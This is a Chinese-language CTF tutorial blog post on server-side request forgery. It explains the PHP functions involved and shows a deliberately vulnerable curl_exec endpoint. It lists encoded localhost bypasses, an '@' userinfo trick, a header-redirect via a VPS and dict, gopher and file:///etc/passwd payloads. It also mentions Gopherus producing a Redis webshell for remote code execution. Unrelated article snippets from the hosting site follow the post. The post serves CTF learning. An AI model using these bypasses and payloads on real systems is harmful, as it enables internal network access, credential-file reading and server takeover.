CTF ssrf 基础入门

news2024/11/13 15:17:07

0x01 引言

我发现我其实并不是很明白这个东西,有些微妙,而且记忆中也就记得Gopherus这个工具了,所以重新学习了一下,顺便记录一下吧

0x02 辨别

我们拿到一个题目,他的名字可能就是题目类型,但是也有可能是个note或者是blog等等网站,那么下面讲一些常见的后端响应

file_get_contents

这个函数非常常见
用于读取文件

file_get_contents(string $filename, bool $use_include_path = false, resource $context = null, int $offset = 0, int $maxlen = -1)

$filename: 必需参数,指定要读取的文件路径。
$use_include_path: 可选参数,默认为 false。如果设为 true,则会在 PHP 的 include 路径中搜索文件。
$context: 可选参数,是一个资源类型,通常用于指定文件句柄的上下文。例如,可以用来设置 HTTP 请求头(当读取远程文件时)。
$offset: 可选参数,指定从文件的哪个字节开始读取。
$maxlen: 可选参数,指定要读取的最大字节数。默认为 -1,表示读取到文件末尾

fsockopen()

这个东西就和python中的socket一样

fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = ini_get("default_socket_timeout"))

$hostname: 必需,指定要连接的主机名或 IP 地址。
$port: 可选,默认为 -1。指定要连接的端口号。
$errno: 可选,输出变量,用于存储发生错误时的错误号。
$errstr: 可选,输出变量,用于存储发生错误时的错误信息。
$timeout: 可选,默认使用 PHP 配置中的默认超时设置(default_socket_timeout)。指定连接超时时间(秒)。
<?php
$a=fsockopen('ip',port);
if($a){
    echo 1;
}else {
    echo 0;
}
?>

直接就弹shell还是行

curl_exec()

成功时,返回执行请求后得到的数据,通常是服务器响应的内容,格式依据请求和响应(如 HTML、JSON、图像数据等)。 失败时,返回
false。可以通过 curl_error() 获取错误信息。

怎么说呢相当于一个体系中的一个环节?然后返回响应,curl http://ceye

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, 0);  //不要header值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回数据为字符串
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

POST:
url=http://127.0.0.1/flag.php

在这里顺便说说curl_setopt

curl_setopt(resource $ch, int $option, mixed $value)
$ch: 必需,由 curl_init 返回的 cURL 会话资源。
$option: 必需,要设置的选项常量。这些常量通常以 CURLOPT_ 开头,例如 CURLOPT_URL、CURLOPT_RETURNTRANSFER 等。
$value: 必需,要赋予选项的值。这个值的类型取决于所设置的选项。很有可能是个布尔值 ,1||0

0x03 绕过

前面看那几个函数看出来之后基本上就是技巧了

0x01 思路

首先思路要立正,我们是根据ssrf的漏洞去带出文件内容
所以我们传参肯定是传路径,并且是本地

0x02 本地

127.0.0.1
localhost
0
0.0.0.0
127.0.0
127。0。0。1
127\.0\.0\.1
127.1
sudo.cc      
0x7F000001		16进制
2130706433		十进制
0x7f.0.0.1          16进制
0177.0.0.1         八进制
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

0x03 vps

当本地在后端响应已经被过滤完之后,我们还可以用vps进行远程

demo

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//gethostbyname这个函数根据域名返回IP
echo '</br>'.$ip.'</br>';//将获得的IP显示在网页
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {     //看ip是否为公网IP
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> 

利用header函数写一个文件

<?php header("Location:http://127.0.0.1/flag.php")?>

然后传参

POST:
url=http://ip/文件名

0x04 parse_url

<?php
var_dump(parse_url('https://www.example.com:8080/path/to/resource/index.html?key1=value1&key2=value2#section2'));
?>
这就是一个完整的url

array(6) {
  ["scheme"]=>
  string(5) "https"
  ["host"]=>
  string(15) "www.example.com"
  ["port"]=>
  int(8080)
  ["path"]=>
  string(28) "/path/to/resource/index.html"
  ["query"]=>
  string(23) "key1=value1&key2=value2"
  ["fragment"]=>
  string(8) "section2"
}

这个函数非常便于我们去尝试出正确的能绕过的url

URL 中的 @ 符号在标准的 URL 格式中具有特殊含义,它用于分隔用户名(可选)和主机名。当 @ 出现在用户名和密码之后、主机名之前时,它用于指定访问资源时使用的身份验证凭据。例如:

http://ctf.@127.0.0.1/flag.php?show

array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "127.0.0.1"
  ["user"]=>
  string(4) "ctf."
  ["path"]=>
  string(9) "/flag.php"
  ["query"]=>
  string(4) "show"
}

0x04 协议

Dict 协议


dict://fuzz.wuyun.org:8080/helo:dict
Gopher 协议


gopher://fuzz.wuyun.org:8080/gopher
File 协议


file:///etc/passwd

有这三种,但是我还没用过,所以暂时不分享了
不过我不知道Gopherus这个工具算不算协议
gopherus
去下载之后,配置就不说了,我记得好像是go语言的环境
下载完就是大概这个东西
在这里插入图片描述

然后使用方法也很简单
在这里插入图片描述
mysql的

在这里插入图片描述
然后传参去RCE
Redis的
在这里插入图片描述

默认生成/var/www/html/shell.php
密码是自己写的1,然后RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1945227.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

昇思25天学习打卡营第九天|本地安装mindspore之一|Linux的系统在vmware上的安装以及mindspore的安装

课程已经学完了&#xff0c;打算再深入一些。初步的想法是&#xff0c;在本地安装&#xff0c;本地执行。 根据老师的指引&#xff0c;MindSpore官网&#xff0c;“https ://www.mindspore.cn/install/”&#xff0c;注意&#xff0c;因为csdn博客编辑器的原因&#xff0c;当我…

C#与C++交互开发系列(三):深入探讨P/Invoke基础知识

欢迎来到C#与C交互开发系列的第三篇。在这篇博客中&#xff0c;我们将深入探讨P/Invoke&#xff08;Platform Invocation Services&#xff09;的基础知识。P/Invoke是C#调用非托管代码的一种机制&#xff0c;能够让C#直接调用C编写的动态链接库&#xff08;DLL&#xff09;中的…

轻松翻译,你值得拥有的PDF翻译工具分享

大家好&#xff0c;作为一名初入职场的小菜鸟&#xff0c;我发现了一个让我头疼不已的问题——那就是PDF文件的翻译。在全球化日益加剧的今天&#xff0c;我们经常会遇到需要阅读或者翻译外文PDF文件的情况。但PDF文件不同于Word或Excel&#xff0c;它通常不易直接编辑&#xf…

C语言 | Leetcode C语言题解之第278题第一个错误的版本

题目&#xff1a; 题解&#xff1a; int firstBadVersion(int n) {int left 1, right n;while (left < right) { // 循环直至区间左右端点相同int mid left (right - left) / 2; // 防止计算时溢出if (isBadVersion(mid)) {right mid; // 答案在区间 [left, mid] 中…

SWAT模型

原文链接&#xff1a;SWAT模型https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247610033&idx2&snc1da9be73550928ecc6a7a165dda3d9c&chksmfa826f56cdf5e640f891c6977cec1b2728ee2554ceacd224903df73d2dfedcd0c8b9ec047843&token91118244&langzh…

uniapp入门超详细教程:如何从零开始搭建项目

目录 一、介绍 二、环境搭建 2.1.需要下载的软件 2.1.1 HBuilderX 2.1.2 下载微信开发者工具 2.2 创建uniapp项目 2.2.1 新建项目 2.2.2 项目基本结构 2.2.3 在微信开发者工具上运行 2.2.4 发布微信小程序 三、pages.json 页面路由 四、组件 4.1 视图容器 4.1.1 v…

超分AI模型学习

概述 超分&#xff08;超分辨率&#xff1a;Super Resolution&#xff0c;SR&#xff09;&#xff1a;是计算机视觉和图像处理领域的一个热门话题。主要是将低分辨率图像恢复出高分辨率图像。可以采用的方法和手段很多&#xff0c;最近项目中有涉及&#xff08;红外成像的超分处…

Axivion Suite 7.8现已发布

现已实现100%覆盖MISRA规则&#xff0c;并加入了高级功能来提高代码分析能力。 我们很高兴地宣布Axivion Suite 7.8发布。全新版本的Axivion Suite对编译器、配置、分析、仪表板 (WebUI)和IDE插件的架构验证和静态代码分析功能均进行了升级。 100%覆盖所有可测试的MISRA规则 …

centos系统mysql集群复制双主双从

文章目录 MySQL 双主双从集群一、 准备环境二、 配置主服务器1. 配置 MySQL 主服务器 1 (192.168.1.1)2. 配置 MySQL 主服务器 2 (192.168.1.2) 三、配置从服务器1. 配置 MySQL 从服务器 1 (192.168.1.3)2. 配置 MySQL 从服务器 2 (192.168.1.4)3. 在主服务器 1 上配置复制到主…

使用php adodb5连接人大金仓数据库

打开php中的pgsql扩展 extensionpgsql使用adodb5连接kingbase数据库 <?php include("adodb5/adodb.inc.php"); $fox_dbtype pgsql; $fox_host 192.168.1.66; $fox_user system; $fox_pwd 123456; $fox_dbname testkingbase; $fox_port 54321;$dbNewADOCo…

【实战】Spring Cloud Stream3.0 整合RocketMq

文章目录 前言技术积累Spring Cloud Stream3.0新特性RocketMq简介 实战演示引入Maven依赖增加application配置消息生产者消息消费者 前言 相信很多同学用使用过rocketmq消息中间件&#xff0c;且大多情况下是使用原生的rocketmq-spring-boot-starter 进行集成然后创建一个rock…

Unity显示泰语且兼容泰语音标

前言&#xff1a;使用Unity开发的游戏需要支持泰语本地化&#xff0c;以及解决显示泰语时Unity的bug 目录 1、Text组件显示泰语2、TextMeshPro组件显示泰语 现在很多游戏都需要显示泰语&#xff0c;下面将介绍Unity如何显示泰语&#xff0c;&#xff08;仅介绍Unity字体方面的设…

Transformer自然语言处理实战pdf阅读

一.第一章 欢迎来到transformer的世界 1.解码器-编码器框架 在Transformer出现之前&#xff0c;NLP的最新技术是LSTM等循环架构。这些架 构通过在神经网络连接使用反馈循环&#xff0c;允许信息从一步传播到另一 步&#xff0c;使其成为对文本等序列数据进行建模的理想选择。如…

多表查询时条件写在where和join on的区别

文章目录 一、初始数据二、问题分析三、总结 先说结论&#xff0c; 1.如果想要拿到主表不受到关联表查询条件的数据的话&#xff0c;那么建议直接将查询条件放到on之后。 2.如果将关联表的条件查询放在where之后&#xff0c;可能会将主表中的数据进行排除。 所以如果想实现的查…

总结一些vue3小知识3

1.限制时间选择器只能选择后面的日期 说明&#xff1a;disabled-date属性是一个用来判断该日期是否被禁用的函数&#xff0c;接受一个 Date 对象作为参数。 应该返回一个 Boolean 值。 <el-date-picker class"w180" v-model"datas.form.timeDate[0]" …

6.6 使用dashboard商城搜索导入模板

本节重点介绍 : 模板商城中搜索模板导入模板修改模板 大盘模板商城地址 免费的 地址 https://grafana.com/grafana/dashboards 搜索模板技巧 详情 导入dashboard 两种导入模式 url导入id导入json文件导入 导入 node_exporter模板 https://grafana.com/grafana/dashboa…

萤石举办2024夏季新品发布会,全力推进“2+5+N”智能家居新生态

7月24日&#xff0c;“智动新生&#xff0c;尽在掌控”2024萤石夏季新品发布会在杭州成功举办。本次发布会上&#xff0c;“智慧生活守护者”萤石深入挖掘应用场景&#xff0c;重磅发布了包括智能健康手表、智能家居AI主机、生态控制器、智家APP等多款创新性的产品及应用&#…

短视频时代,云微客AI批量混剪技术有多厉害?

在数字媒体日益盛行的今天&#xff0c;视频剪辑已经成为了一种热门的技能&#xff0c;加上短视频创作在当下也变得越来越流行&#xff0c;因此云微客短视频AI批量剪辑就显得非常必要。近些年&#xff0c;随着人工智能技术的发展&#xff0c;在很大程度上简化了批量剪辑的过程&a…

linux之网络子系统-本机发包到本机 实现

一、前言 在linux之网络子系统-网络协议栈 发包收包详解-CSDN博客 文章中&#xff0c;详细介绍了跨主机之间的数据包发送的源码流程。除了跨主机&#xff0c;还有本机发包到本机是如何实现的&#xff1f;就是 saddr ip地址为 127.0.0.1 . 二、发送数据包到 127.0.0.1 首先&a…

Go语言编程 学习笔记整理 第2章 顺序编程 前半部分

前言&#xff1a;《Go语言编程》编著 许式伟 吕桂华 等 1.1 变量 var v1 int var v2 string var v3 [10]int // 数组 var v4 []int // 数组切片 var v5 struct { f int } var v6 *int // 指针 var v7 map[string]int // map&#xff0c;key为string类型&#xff0c;value为in…